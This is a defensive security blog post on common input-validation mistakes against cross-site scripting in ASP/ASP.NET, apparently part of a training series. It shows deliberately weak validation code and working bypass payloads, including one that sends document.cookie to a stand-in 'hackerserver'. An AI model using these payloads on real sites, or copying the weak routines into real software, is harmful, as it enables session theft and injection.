First Line of Defense for Web Applications – Part 4

  • Article

I am on a red eye flight back to Seattle from Dulles, VA where I just finished delivering some security training. Traveling back in time, jet lagged, not able to sleep so I thought of finishing my blog post for this week to kill some time. :)

Ok, so now that we have discussed the basics of input validation, let’s move on to some more interesting part of this series – The top most common mistakes developers make today when they implement input validation routines for web application attacks. This is not a comprehensive list of course but I am sure there are so many other worse validation routines floating out there which I still have to witness. :) . If you are in the same business of security, you know what I am talking about.

Top Validation Bloopers

Understanding the need for input validation is a good start, but developers also need to implement strong controls. This is harder than it sounds. This section illustrates some of the top validation bloopers developers make when writing validation routines for Cross site scripting attacks, SQL injection attacks, and poorly coded file upload functionality. It includes example payloads that can bypass the validation schemes and recommendation how to validate securely.

# 1 - Cross Site Scripting

Weak Validation Examples

-  LetsStopCrossSiteScripting

<html>

<head>

<meta charset=utf-7>

</head>

<form id=foo1 method=get>

</form>

</html>

<%

fooString= Request.querystring("foo")

// LetsStopCrossSiteScripting

            fooString = Replace(fooString, "<", " ")

            fooString = Replace(fooString, ">", " ")

            fooString = Replace(fooString, "%", " ")

            fooString = Replace(fooString, ",", " ")

          Response.Write fooString

%>

Exploit Technique to bypass this validation

Attacker can use alternate representations for characters, in this case using encoding for the payload <script>alert(‘Foo is vulnerable to XSS’)</script> can successfully bypass this validation and attack the application.

Attack Payload :

?foo=%2bADw-script%2bAD4-alert('got%20cha')%2bADw-/script%2bAD4-

Some more examples of weak XSS validations 

a) SanitizeInput

  private string SanitizeInput(string input)

  {

  Regex badCharReplace = new Regex(@""([<>""""'%;()&])"");"

  }

b)Security Configuration file : stopXSS.xml

 

<stopXSS>

 

(&lt;\s*(object|img|applet|embed|form|\/object|\/applet|\/embed|\/form))|oncontrolselect|oncopy
|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|
ondblclick|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|
onerror|onerrorupdate|onfilterchange|onfinish|onfocus|onfocusenter|onfocusleave|onhelp|
|onabort|onafterprint|onafterupdate|onbeforecopy|onbeforecut|onbeforeeditfocus|
onbeforefocusenter|onbeforefocusleave|onbeforepaste|onbeforeprint|onbeforeunload|
onbeforeupdate|onblur|onbounce|oncellchange|onchange|onclick|oncontextmenu|
onkeydown|onkeypress|onkeyup|onlayoutcomplete|onload|onlosecapture|onmousedown
|onmouseenter|onmouseleave|onmousemove|onmouseout|onmouseover|onmouseup|
onpaste|onpropertychange|onreadystatechange|onreset|onresize|onresizeend|onresizestart|
onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onselect|onselectiontypechange|
onselectstart|onstart|onstop|onsubmit|onunload|(&lt;.*&gt;)|eval\s*\(|(event\s*=)|\&lt;\%

</stopXSS>

c) Replacing char(34)

 

<%

         if request("name") <> "" then

         str = replace(request("name"),chr(34),"&quot;")

         end if

%>

           

Now, let’s look at some Inappropriate output encoding examples

 

a)     Server.HTMLEncode()

This is Sample.aspx

<html>

Welcome to Foo!!!!

     <script>

               Server.HTMLEncode(<%= (Request.Params["Search"])%>);

     </script>

</html>

• Exploit payload to bypass this encoding is given below

<a id=evilLink href="https://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="https://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')">https://victimsite.com/default.aspx</a>

The above payload does not have any <script> tags so it easily bypasses the encoding routine.

 Another example for inappropriate use of Server.HtmlEncode()

<html>

       <body>

              <H1>XSS </H1>

              <IMG SRC='<%=Server.htmlencode(request("im"))%>'>

        </body>

        </html>

Exploit payload to bypass this encoding is given below

<IMG SRC="javascript:alert('XSS');">

Server.HTMLEncode fails to protect against XSS attack in these examples because of the following reasons:

·                     Attacker payload lands up in a scripting context already, so there is no need to have <script> in the payload.

·                     Server.HTMLEncode is a black list encoding function which ONLY encodes 4 characters : < , > , “ , &. All other characters are not encoded.

Recommendations:

·         Input Validation - Use White list Regular expression validation. Allows one or more alphabetical characters string regExPattern = @"^[A-Za-z]+$";

·         Output Encoding - Anti-Cross Site Scripting Library from ACE team can be used to mitigate against XSS attacks. This is a white list encoding routine & is available at https://msdn2.microsoft.com/en-us/security/aa973814.aspx.

Stay tuned for more bloopers next week. Till then, keep it secure.

Cheers,

Anmol Malhotra
Senior Security Consultant – Microsoft ACE Services